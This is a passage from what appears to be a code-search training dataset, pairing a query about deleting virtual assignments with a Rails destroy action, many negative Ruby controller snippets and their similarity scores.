else\n format.html { render action: \"edit\" }\n format.json { render json: @tasks_person.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_task\n @api_v1_task = Task.find(params[:id])\n end", "def update\n @patient_assignment = PatientAssignment.find(params[:id])\n\n respond_to do |format|\n if @patient_assignment.update_attributes(params[:patient_assignment])\n format.html { redirect_to @patient_assignment, notice: 'Patient assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def assign\n\t\tself.status = :assigned\n\tend", "def update\n @rg_task = RgTask.find(params[:id])\n\n respond_to do |format|\n if @rg_task.update_attributes(params[:rg_task])\n format.html { redirect_to(@rg_task, :notice => 'RgTask was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rg_task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @indexer_task = IndexerTask.find(params[:id])\n\n respond_to do |format|\n if @indexer_task.update_attributes(params[:indexer_task])\n format.html { redirect_to @indexer_task, notice: 'Indexer task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indexer_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @supervisor_estagio = SupervisorEstagio.find(params[:id])\n\n respond_to do |format|\n if @supervisor_estagio.update_attributes(params[:supervisor_estagio])\n flash[:notice] = 'Supervisor de Estagio atualizado com sucesso.'\n format.html { redirect_to(@supervisor_estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @supervisor_estagio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @task.update(task_params)\n end", "def coursenode_assignmentnode(res2, child)\n res2[\"directory\"] = child.get_directory\n instructor_id = child.get_instructor_id\n update_instructor(res2, instructor_id)\n update_is_available_2(res2, instructor_id, child)\n assignments_method(child, res2) if child.type == \"AssignmentNode\"\n end", "def update\n @vacation = Vacation.find(params[:id])\n\n respond_to do |format|\n if @vacation.update_attributes(params[:vacation])\n # format.html { redirect_to(vteam_vacations_path(@vacation.resource_vteam_allocation.vteam,@vacation), :notice => 'Vacation was successfully updated.') }\n\n format.html #{ redirect_to(@vacation, :notice => 'Vacation was successfully updated.') }\n @vacations = Vacation.order(\"created_at DESC\").search(\n :resource_vteam_allocation_vteam_id_eq =>params[:vteam_id] ).\n paginate(:per_page => Vacation.per_page,:page=>params[:page])\n format.js\n\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vacation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @sitelink = Sitelink.find(params[:id])\n @preferredpages = Preferredpage.find(:all)\n\n respond_to do |format|\n if @sitelink.update_attributes(params[:sitelink])\n flash[:notice] = 'Sitelink was successfully updated.'\n format.html { redirect_to(@sitelink) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sitelink.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @planning = Planning.find(params[:id])\n @planning.update(planning_params)\n @planning.save!\n redirect_to planning_conflicts_path(@planning)\n end", "def update\n @appointment = person.appointments.find(params[:id])\n respond_to do |format|\n if @appointment.update_attributes(params[:appointment])\n format.html { redirect_to([person, @appointment], :notice => 'Appointment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @appointment.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.5625191", "0.5607195", "0.5492747", "0.54851884", "0.5478726", "0.54490346", "0.54326344", "0.5364584", "0.5313464", "0.5277994", "0.5265761", "0.52302", "0.52302", "0.52302", "0.5218662", "0.51992226", "0.51832354", "0.5162778", "0.51611555", "0.51515114", "0.5151385", "0.51356024", "0.51320595", "0.5128498", "0.51183784", "0.5090586", "0.50771064", "0.50583625", "0.50567645", "0.50453925", "0.5044423", "0.50401026", "0.5029703", "0.5009521", "0.50001967", "0.49978527", "0.499504", "0.49917573", "0.4988456", "0.497818", "0.49769846", "0.497536", "0.4968974", "0.4968974", "0.49680266", "0.4966814", "0.4956305", "0.49549446", "0.49549392", "0.49527153", "0.4946913", "0.4946392", "0.49375787", "0.49301046", "0.4924124", "0.492402", "0.4909592", "0.49025068", "0.48998463", "0.4896689", "0.48960567", "0.48955584", "0.48914298", "0.48893785", "0.48892692", "0.48865497", "0.48771024", "0.48762634", "0.48750022", "0.48744246", "0.4874007", "0.4873458", "0.48707172", "0.48613444", "0.48580444", "0.4857339", "0.48569816", "0.48569816", "0.48569816", "0.48569816", "0.48569816", "0.48569816", "0.48562956", "0.48556572", "0.4855067", "0.4853386", "0.48522186", "0.48519138", "0.48500022", "0.48476943", "0.48466405", "0.48440823", "0.48432297", "0.4836337", "0.48339254", "0.48281297", "0.48247463", "0.48242545", "0.4823434", "0.48230612" ]
0.62716335
0
DELETE /virtual_assignments/1 DELETE /virtual_assignments/1.xml
def destroy @virtual_assignment = @object @virtual_host = @virtual_assignment.virtual_host return unless filter_perms(@auth,@virtual_host,['updater']) @virtual_guest = @virtual_assignment.virtual_guest return unless filter_perms(@auth,@virtual_guest,['updater']) begin @virtual_assignment.destroy rescue Exception => destroy_error respond_to do |format| format.html { flash[:error] = destroy_error.message redirect_to virtual_assignment_url(@virtual_assignment) and return } format.js { render(:update) { |page| page.alert(destroy_error.message) } } format.xml { head :error } # FIXME? end return end # Success! respond_to do |format| format.html { redirect_to virtual_assignments_url } format.js { render(:update) { |page| page.replace_html 'virtual_assignments', {:partial => 'nodes/virtual_assignments', :locals => { :node => @virtual_host} } } } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n CONNECTION.execute(\"DELETE FROM assignments WHERE id = #{self.id};\")\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def delete\n # Delete the assignment\n Relationship.delete(params[:id])\n\n @active=\"assignments\"\n redirect_to \"/manage\"\n end", "def destroy\n @assignment = @user.assignments.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to user_assignments_path(@user) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task_assignment = TaskAssignment.find(params[:id])\n @task_assignment.destroy\n \n respond_to do |format|\n format.html { redirect_to(task_assignments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to(event_assignments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @assignment = Assignment.find(params[:id])\n @cim_hrdb_person = @assignment.person\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to(edit_cim_hrdb_person_path(@cim_hrdb_person)) }\n format.xml { head :ok }\n end\n end", "def delete\n\t\tdb.execute{ \"delete edge #{ref_name} #{rrid}\" }\n\tend", "def delete\n Iterable.request(conf, base_path).delete\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def test_set3_06b_delete_res_object()\n user = \"test_user\"\n priv = \"test_privilege\"\n res_ob_type = \"test\"\n res_ob_adr = \"/db/temporary/testsource\"\n \n @test_acl.create_principal(user)\n @test_acl.create_resource_object(res_ob_type, res_ob_adr, user)\n id = @test_acl.create_ace(user, \"allow\", priv, res_ob_type, res_ob_adr)\n \n @test_acl.delete_res_object(res_ob_type, res_ob_adr)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def destroy\n @retain_node_selector = RetainNodeSelector.find(params[:id])\n @retain_node_selector.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_node_selectors_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_testcase_xref = UserTestcaseXref.find(params[:id])\n @user_testcase_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_testcase_xrefs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vehicle_assignment.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_assignments_url }\n format.json { head :no_content }\n end\n end", "def deleteAssignment\n @assignment = Assignment.find(params[:assignment_id])\n @assignment.destroy\n respond_to do |format|\n format.html {redirect_to add_objective_to_student_path, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n\n \n end", "def destroy\n @auditflows_flownode = AuditflowsFlownode.find(params[:id])\n @auditflows_flownode.destroy\n\n respond_to do |format|\n format.html { redirect_to(auditflows_flownodes_url) }\n format.xml { head :ok }\n end\n end", "def xml_on_delete( xml )\r\n return unless @under_vlans\r\n return if @under_vlans.empty?\r\n \r\n _xml_rm_under_vlans( xml, @under_vlans )\r\n end", "def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_task_path(@assignment.task.project, @assignment.task)) }\n format.xml { head :ok }\n end\n end", "def delete_rejected\n @assignment = Assignment.find(params[:id])\n membership = StudentMembership.find(params[:membership])\n membership.delete\n membership.save\n redirect_to action: 'student_interface', id: params[:id]\n end", "def remove_assignments\n # tas = TagAssignment.find_all_by_source_and_source_info(2, self.id)\n # tas.each do |ta|\n # ta.destroy\n # end\n # tas.count\n\n # this does the same as above with less queries, but doesn't apply\n # any callbacks (none needed in this case)\n TagAssignment.destroy_all(:source => 2, \n :source_info => self.id) if self.has_attribute?('id') \n end", "def destroy\n @retain_node = RetainNode.find(params[:id])\n @retain_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_nodes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @tree_node_ac_rights = TreeNodeAcRight.find(params[:id])\n @tree_node_ac_rights.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_tree_node_tree_node_permissions_path }\n format.xml { head :ok }\n end\n end", "def destroy\n @vdocs_requirement = VdocsRequirement.find(params[:id])\n @vdocs_requirement.destroy\n\n respond_to do |format|\n format.html { redirect_to(vdocs_requirements_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n Log.new({user: current_user.user, \n subject: \"user:\"[email protected],\n operation: \"revoked access\",\n object: \"table:\"[email protected]\n }).save\n @assigned.destroy\n respond_to do |format|\n format.html { redirect_to assigneds_url, notice: 'Assigned was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_delete_assignment\r\n\r\n number_of_assignment = Assignment.count\r\n number_of_duedate = DueDate.count\r\n id = Assignment.first(:conditions => {:instructor_id => users(:instructor3).id}).id\r\n post :delete, :id => id\r\n assert_redirected_to :controller => 'tree_display', :action => 'list'\r\n assert_equal number_of_assignment-1, Assignment.count\r\n assert_raise(ActiveRecord::RecordNotFound){ Assignment.find(id) }\r\n\r\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end", "def destroy\n @patient_provider_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to(patient_url(@patient)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @assignment_special_assignment = Assignment::SpecialAssignment.find(params[:id])\n @assignment_special_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_special_assignments_url }\n format.json { head :ok }\n end\n end", "def destroy\n @child_dupa2 = ChildDupa2.find(params[:id])\n @child_dupa2.destroy\n\n respond_to do |format|\n format.html { redirect_to(child_dupa2s_url) }\n format.xml { head :ok }\n end\n end", "def delete_assignment(assignment_name)\n frm.table(:class=>\"listHier lines nolines\").row(:text=>/#{Regexp.escape(assignment_name)}/).checkbox(:name=>\"selectedAssignments\").set\n frm.button(:value=>\"Update\").click\n frm.button(:value=>\"Delete\").click\n AssignmentsList.new(@browser)\n end", "def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @ppos_prerequisite = PposPrerequisite.find(params[:id])\n @ppos_prerequisite.destroy\n\n respond_to do |format|\n format.html { redirect_to(ppos_prerequisites_url) }\n format.xml { head :ok }\n end\n end", "def delete\r\n \tProductPackageNode.delete params[:node_ids]\r\n render :nothing => true\r\n end", "def delete!\n PoolNode.rmdir(@id)\n super\n Address.delete(@id)\n Subnet.delete(@subnet)\n end", "def destroy\n @req_breakdown = ReqBreakdown.find(params[:id])\n @req_breakdown.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_req_breakdowns_url) }\n format.xml { head :ok }\n end\n end", "def test_set3_04c_delete_principal()\n user = \"test_user\"\n @test_acl.create_principal(user)\n id = @test_acl.create_ace(user, \"allow\", \"SELECT\", \"test\", \"/db/temporary/testsource\")\n \n @test_acl.delete_principal(user)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end", "def destroy\n @patient_assignment = PatientAssignment.find(params[:id])\n @patient_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_assignments_url }\n format.json { head :ok }\n end\n end", "def destroy\n #@habit = Habit.find(params[:id])\n #@habit.destroy\n\n @assignment = Assignment.find(params[:id])\n @habit = @assignment.assignable\n @assignment.destroy\n @habit.destroy\n\n respond_to do |format|\n flash[:notice] = 'Habit was successfully deleted.'\n format.html { redirect_to(habits_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @assigned = Assigned.find(params[:id])\n @assigned.destroy\n\n respond_to do |format|\n format.html { redirect_to assigneds_url }\n format.json { head :no_content }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def test_xml_should_not_destroy_project_with_fk\n assert_no_difference('Project.count') do\n delete :destroy, :id => 1, :format => 'xml'\n end\n assert_response :ok\n assert_select \"errors:root>error\", ERRORS[:foreign_key_problem]\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n project = Project.where(:user_id => current_user[:id]).first\n project.optimized = false\n project.loading = false\n project.save\n @nodes = Node.where(:user_id => current_user[:id])\n @nodes.each do |node|\n node.jobnumber = nil\n node.vehicle_id = nil\n node.servicetime = nil\n node.tour_id = nil\n node.save\n end\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def delete_assignment(assignment_name)\n check_assignment(assignment_name)\n frm.button(:value=>\"Update\").click\n sleep 0.2\n frm.button(:value=>\"Delete\").click\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @virtualmachines = Virtualmachine.find(params[:id])\n @virtualmachines.destroy\n\n respond_to do |format|\n format.html { redirect_to(virtualmachines_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @pfs_consultation = PfsConsultation.find(params[:id])\n @pfs_consultation.destroy\n\n respond_to do |format|\n format.html { redirect_to(pfs_consultations_url) }\n format.xml { head :ok }\n end\n end", "def delete\n \n end", "def destroy\n @visita = Visita.find(params[:id])\n @visita.destroy\n\n respond_to do |format|\n format.html { redirect_to(paciente_visitas_url) }\n format.xml { head :ok }\n end\n end", "def test_delete_assignment\n\n number_of_assignment = Assignment.count\n number_of_duedate = DueDate.count\n id = Assignment.first(:conditions => {:instructor_id => users(:instructor3).id}).id\n post :delete, :id => id\n assert_redirected_to :controller => 'tree_display', :action => 'list'\n assert_equal number_of_assignment-1, Assignment.count\n assert_raise(ActiveRecord::RecordNotFound){ Assignment.find(id) }\n\n end", "def destroy\n @restriction = Restriction.find(params[:id])\n @restriction.destroy\n\n head :no_content\n end", "def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n redirect_to(assignments_url)\n end", "def test_set3_04b_delete_group()\n group = \"test_group\"\n user = \"test_user\"\n \n @test_acl.create_principal(user)\n @test_acl.create_group(group, [\"ALL\"], [user])\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n #puts query\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(1, hits)\n \n @test_acl.delete_principal(group)\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end", "def destroy\n @independent = @member.independents.find(params[:id])\n @independent.destroy\n\n respond_to do |format|\n format.html { redirect_to(member_independents_url(@member)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @visit_stat = VisitStat.find(params[:id])\n @visit_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_visit_stats_url) }\n format.xml { head :ok }\n end\n end", "def delete\n \n end", "def destroy\n @assignment.destroy\n end", "def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n Outline.where(\"content_id = ? AND content_type = ?\", @assignment.id, 'Assignment').first.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_course_path(@course), notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @visarequest = Visarequest.find(params[:id])\n @visarequest.destroy\n\n respond_to do |format|\n format.html { redirect_to(visarequests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @constraint.destroy\n respond_to do |format|\n format.html { redirect_to constraints_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @assignmentstatus = Assignmentstatus.find(params[:id])\n @assignmentstatus.destroy\n\n unless @assignmentstatus.errors.empty?\n flash[:notice] = \"WARNING: Couldn't delete assignment status because:\"\n @assignmentstatus.errors.full_messages.each { |m| flash[:notice] << \"<br/>\" << m }\n end\n\n respond_to do |format|\n format.html { redirect_to(assignmentstatuses_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @node_incident = NodeIncident.find(params[:id])\n @node_incident.destroy\n\n respond_to do |format|\n format.html { redirect_to node_incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subrelation = Subrelation.find(params[:id])\n @subrelation.destroy\n\n respond_to do |format|\n format.html { redirect_to(subrelations_url) }\n format.xml { head :ok }\n end\n end", "def delete\n association.delete association[element.dataset[:index].to_i]\n end", "def destroy; delete end", "def destroy\n @gene_ontology = GeneOntology.find(params[:id])\n @gene_ontology.destroy\n\n respond_to do |format|\n format.html { redirect_to(gene_ontologies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @decision = Decision.find(params[:id])\n @decision.destroy\n\n respond_to do |format|\n format.html { redirect_to(decisions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @criteria = Criteria.find(params[:id])\n @criteria.destroy\n\n respond_to do |format|\n format.html { redirect_to(criterias_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @assignment_standard_assignment = Assignment::StandardAssignment.find(params[:id])\n @assignment_standard_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_standard_assignments_url }\n format.json { head :ok }\n end\n end", "def delete\n end", "def delete\n ignore_columns = [\"id\", \"created_at\", \"updated_at\"]\n # Find all assignments associated with this element\n\t\tlist = Relationship.where({ @type.to_s => @id })\n \n # For each assignment\n\t\tlist.each do |assignment|\n # Remove this element from the assigment\n assignment[@type] = nil\n \n # Count how many elements are left\n count = 0\n Relationship.column_names.each do |column|\n if assignment[column] != nil and not ignore_columns.include?(column)\n count += 1\n end\n end\n \n # If only one element is left, destroy the assignment\n if count <= 1\n assignment.destroy\n # Otherwise, save\n else\n assignment.save\n end\n end\n \n # Destroy the desired element\n @class.destroy(@id)\n end", "def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end", "def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :ok }\n end\n end", "def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to association_activites_url(@association) }\n format.xml { head :ok }\n end\n end", "def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end", "def destroy\n @test_subject_evaluation = @test_subject.test_subject_evaluations.find(params[:id])\n @test_subject_evaluation.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_subject_test_subject_evaluations_url(@test_subject)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @occupationclassification = Occupationclassification.find(params[:id])\n @occupationclassification.destroy\n\n respond_to do |format|\n format.html { redirect_to occupationclassifications_url }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @project_supervisor = ProjectSupervisor.find(params[:id])\r\n @project_supervisor.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(project_supervisors_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @visit = Visit.find(params[:id])\n @visit.destroy\n\n respond_to do |format|\n format.html { redirect_to(visits_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @assignment_status = AssignmentStatus.find(params[:id])\n @assignment_status.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_statuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @employee_remunerative_concept = @employee.employee_remunerative_concept.find(params[:id])\n @employee_remunerative_concept.destroy\n\n respond_to do |format|\n format.html { redirect_to(employee_remunerative_concepts_url) }\n format.xml { head :ok }\n end\n end", "def destroy \n Link.connection.execute(\"delete from links where id in (#{params[:id].join(',')})\") unless params[:id].blank?\n respond_to do |format|\n format.html { redirect_to(links_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tuple = Tuple.find(params[:id])\n @tuple.destroy\n\n respond_to do |format|\n format.html { redirect_to(tuples_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @edge = Edge.find_by_src_id_and_dest_id(params[:src_id] , params[:dest_id])\n @edge.destroy\n\t\tredirect_to :controller => \"nodes\" , :action => \"listByCourse\" , :course_id => @edge.src.course_id\t\t\n\n end", "def destroy\n @prd_attribute = PrdAttribute.find(params[:id])\n @prd_attribute.destroy\n\n #delete_rules()\n\n respond_to do |format|\n format.html { redirect_to(prd_attributes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @contract.contract_assignments.destroy_all\n @contract.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :destroy, @assignment\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to project_task_assignments_path(@project,@task) }\n format.json { head :no_content }\n end\n end", "def destroy\n @diagram = Diagram.find(params[:id])\n @diagram.destroy\n\n respond_to do |format|\n format.html { redirect_to(diagrams_url) }\n format.xml { head :ok }\n end\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end" ]
[ "0.65508085", "0.64016503", "0.6292247", "0.625738", "0.6118638", "0.5990139", "0.5989626", "0.59828377", "0.595993", "0.59377927", "0.5932665", "0.5923473", "0.59099764", "0.59087515", "0.5897201", "0.5893094", "0.58808666", "0.5868023", "0.58524036", "0.58322734", "0.5826336", "0.58141595", "0.58077914", "0.57803273", "0.5778183", "0.5777788", "0.5762625", "0.57600474", "0.5752839", "0.5752276", "0.5749991", "0.5749391", "0.5748653", "0.5733958", "0.57327485", "0.57278806", "0.57277393", "0.57272834", "0.5721336", "0.57147163", "0.57106525", "0.570738", "0.57044816", "0.57034636", "0.5700872", "0.5690736", "0.5689914", "0.56732976", "0.56704366", "0.56704366", "0.56704366", "0.56704366", "0.56704366", "0.564673", "0.5645786", "0.5641348", "0.56402665", "0.5637152", "0.56313235", "0.5629976", "0.562381", "0.5616687", "0.56112605", "0.56088126", "0.5608149", "0.55964", "0.5591994", "0.5589535", "0.55893975", "0.55881816", "0.55836225", "0.55836135", "0.55811226", "0.55788493", "0.5578153", "0.5576987", "0.5573617", "0.5566127", "0.556098", "0.55594814", "0.5557766", "0.5552114", "0.5551179", "0.55499595", "0.5543399", "0.5542271", "0.5542271", "0.55360115", "0.55354017", "0.5533766", "0.5533396", "0.55330926", "0.5529419", "0.5528056", "0.5523911", "0.55233705", "0.55229396", "0.5522668", "0.55222404", "0.55188227" ]
0.59106106
12
GET /booking_tours GET /booking_tours.json
def index @booking_tours = BookingTour.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @tour_bookings = TourBooking.all\n end", "def show\n render json: @booking\n end", "def show\n render json: @booking\n end", "def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end", "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def show\n render json: { booking: @booking }, status: 200\n end", "def index\n @service_bookings = ServiceBooking.all\n\n render json: @service_bookings\n end", "def index\n @ninety_ten_bookings = NinetyTenBooking.all\n end", "def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end", "def index\n @tourneys = Tourney.all\n end", "def index\n @tours = Tour.all\n end", "def index\n @tours = Tour.all\n end", "def index\n #@tours = Tour.all\n end", "def index\n @booking_infos = BookingInfo.all\n end", "def index\n @bookings = current_user.coach_bookings\n @future_bookings = @bookings.booked.where(\"start_time > ?\", Time.now).order(:start_time)\n @past_bookings = @bookings.booked.where(\"end_time < ?\", Time.now).order(start_time: :DESC)\n @booking = Booking.new\n @review = Review.new\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend", "def index\n return render json: {message: 'Public users cannot list tours'}, status: 403 if current_user.public?\n @tours = TourServices::TourFilterApi.new(user: current_user,\n status: params[:status],\n type: params[:type],\n vehicle_type: params[:vehicle_type],\n latitude: params[:latitude],\n longitude: params[:longitude],\n distance: params[:distance],\n page: params[:page],\n per: per).tours\n render json: @tours, status: 200, each_serializer: ::V1::TourSerializer, scope: {user: current_user}\n end", "def all_booking_of_client\n\t\t@bookings = Booking.where(client_id: params[:client_id])\n\t\trender json: @bookings, status: 200\n\tend", "def index\n @outgoings = Outgoing.where(:year_at => Date.current.year).order(:created_at)\n @user = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @outgoings }\n end\n end", "def index \n session[:link_to_bookings] = params[:classroom][:links].last[:uri] if (params[:classroom]) \n @link = session[:link_to_bookings]\n @params= \"date=#{params[:date]}&limit=#{params[:limit]}&status=#{params[:status]}\"\n @bookings = ClientApi.bookings_list @link, @params\n end", "def on_date\n @bookings = []\n @bookings = Booking.on_date(params[:booking_date]) if params[:booking_date]\n \n respond_to do |format|\n format.html {render \"index\"}\n format.json {render json: @bookings}\n end\n \n end", "def index\n @seat_bookings = SeatBooking.all\n end", "def index\n @booking_details = BookingDetail.all\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def show\n\t\t@booking = Booking.find(params[:id])\n\t\trender json: @booking, status: 200\n\tend", "def index\n @tour_dates = TourDate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tour_dates }\n end\n end", "def participatingtournaments_feed\n tournaments= getpartipatingtournaments\n tournamentslist = tournaments.map do |t|\n { :tournament_id=>t.id, :title=> t.name, :start => t.start_date }\n end\n\n render :json=> tournamentslist.to_json\n end", "def show\n render json: @service_booking\n end", "def index\n @bookings = current_user.bookings.all.includes(:transport).order(:departure_date)\n end", "def index\n if params[:fromDate] == '' || params[:toDate] == ''\n 